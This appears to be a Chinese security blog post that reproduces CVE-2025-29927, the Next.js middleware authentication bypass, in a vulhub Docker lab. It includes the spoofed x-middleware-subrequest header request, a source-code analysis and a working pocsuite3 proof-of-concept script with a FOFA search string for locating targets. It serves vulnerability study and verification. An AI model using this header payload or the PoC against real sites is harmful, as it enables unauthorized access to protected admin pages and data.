next.js中间件权限绕过漏洞-CEV-2025-29927


一、next.js简介

Next.js 是一个基于 React 的现代化全栈框架,专注于构建高性能、服务端渲染(SSR)和静态生成(SSG)的 Web 应用。它简化了 React 应用的开发流程,提供开箱即用的路由系统、API 路由、代码分割、热模块替换等功能,支持服务端渲染和静态页面生成以优化 SEO 和加载速度。此外,Next.js 集成了 TypeScript、CSS 模块、图像优化等特性,并支持增量静态再生(ISR)实现动态内容更新。其约定优于配置的设计降低了开发门槛,适合构建从个人博客到企业级应用的多种场景,同时拥有活跃的社区和 Vercel 官方支持,是 React 生态中最流行的全栈解决方案之一。

二、漏洞概述

CVE-2025-29927 是 Next.js 框架中存在的高危中间件授权绕过漏洞(CVSS 9.1),攻击者可通过伪造 x-middleware-subrequest 请求头绕过身份验证机制,直接访问受保护的资源(如管理界面、敏感 API 等) 。

该漏洞的核心成因在于 Next.js 在处理中间件递归请求时,未对外部请求的 x-middleware-subrequest 头进行严格校验:当该头被构造为包含中间件路径标识(如 middleware 或 src/middleware )且重复次数达 5 次以上时,系统会误判为内部递归请求并跳过安全检查逻辑 。

  • 影响版本

11.1.4 < Next.js ≤ 13.5.6

14.0 < Next.js < 14.2.25

15.0 < Next.js < 15.2.3

修复方案已通过升级版本(如 15.2.3)引入动态令牌验证机制,并删除非法伪造的请求头。

三、环境搭建

cd vulhub
git pull
cd next.js/CVE-2025-29927
docker compose up -d

报错处理:

  • centos环境搭建失败
[root@localhost CVE-2025-29927]# docker compose up -d
[+] Running 1/1
 ✘ web Error Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceede...           15.7s 
Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

请求超时。

修改/etc/docker/daemon.json配置文件:

{
  "registry-mirrors": [
    "https://docker.m.daocloud.io"
  ]
}

docker info查看,之前就配置过镜像源。

docker yaml文件:

services:
  web:
    image: vulhub/nextjs:15.2.2
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production

替换镜像地址,失败。

[root@localhost CVE-2025-29927]# docker pull m.daocloud.io/docker.io/library/vulhub/nextjs:15.2.2
Error response from daemon: pull access denied for m.daocloud.io/docker.io/library/vulhub/nextjs, repository does not exist or may require 'docker login': denied: 🚫 👀-> https://github.com/DaoCloud/public-image-mirror/issues/2328 🔗 这镜像不在白名单. this image is not in the allowlist.

这个镜像在仓库中不存在。

如果想从官方镜像仓库中拉镜像,需要在centos上科学上网。

  • 在mac下搭建环境

将next.js复现环境拷贝下来,启动Docker:

cd CVE-2025-29927
docker compose up -d

能够成功拉取到镜像。

访问测试:

四、漏洞复现

4.1 响应分析

请求包:

GET /login HTTP/1.1
Host: 127.0.0.1:3000
sec-ch-ua-platform: "macOS"
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br, zstd
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document

响应头:

HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 4294967294
X-Powered-By: Next.js
Cache-Control: s-maxage=31536000
ETag: "4eg6zyf0i04f3"
Content-Type: text/html; charset=utf-8
Date: Thu, 10 Apr 2025 02:49:48 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 5727

X-Powered-By: Next.js 表明,目标服务是基于next.js开发的。

4.2 漏洞复现

GET / HTTP/1.1
Host: 127.0.0.1:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: close

成功绕过登录鉴权,访问到管理页面。

五、漏洞分析

源码分析:

const run = withTaggedErrors(asyncfunction runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }

通过上述代码,可以看到会将x-middleware-subrequest请求头的值按照:分割为数组subrequests,继续又检查了是否包含当前中间件的名称, 如果subrequests中包含了当前中间件名称,则depth自增,当自增到第五次时,则直接返回,从而绕过下面的验证。

其中params.name:中间件路径标识,是中间件模块在Next.js构建过程中生成的逻辑标识路径,其值为.next/server/middleware-manifest.json文件中的值

进入容器中在.next/server/middleware-manifest.json文件中也能看到该值。

六、pocsuite3-POC

from pocsuite3.api import Output, POCBase, register_poc, requests

class TestPOC(POCBase):
    vulID = 'CVE-2025-29927'
    version = '1.0'
    author = 'sixiaokai'
    vulDate = '2025-03-21'
    createDate = '2025-04-10'
    updateDate = '2025-04-10'
    references = [
        'https://github.com/vulhub/vulhub/tree/master/next.js/CVE-2025-29927'
    ]
    name = 'next.js中间件权限绕过漏洞'
    appPowerLink = 'https://nextjs.org/'
    appName = 'Next.js'
    appVersion = '(11.1.4,13.5.6]; (14.0,<14.2.25); (15.0,15.2.3)'
    vulType = 'Authentication Bypass'
    desc = '''
    Next.js中间件在处理x-middleware-subrequest头时存在递归检查缺陷,攻击者可构造特殊请求头绕过鉴权验证,
    导致未授权访问敏感数据。
    '''
    samples = ['http://127.0.0.1:3000']
    cyberspace={'fofa':'app = "NEXT.JS"'}

    def _verify(self):
        result = {}
        payload_header = {
            'x-middleware-subrequest': 'middleware:middleware:middleware:middleware:middleware',
            'Connection': 'close'
        }
        target_url = self.url.rstrip('/')

        try:
            # 发送包含恶意头的请求
            resp = requests.get(
                target_url,
                headers=payload_header,
                allow_redirects=False,
                verify=False,
                timeout=10
            )

            # 漏洞确认条件:响应体包含Settings关键词(不区分大小写)
            if 'settings' in resp.text.lower():
                result['VerifyInfo'] = {
                    'URL': target_url,
                    'Response Status': resp.status_code,
                    'Body Indicator': 'Settings keyword found',
                    'Response Preview': resp.text[:200] + "..." if resp.text else "Empty"
                }

        except Exception as e:
            pass

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output

register_poc(TestPOC)

测试验证:


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录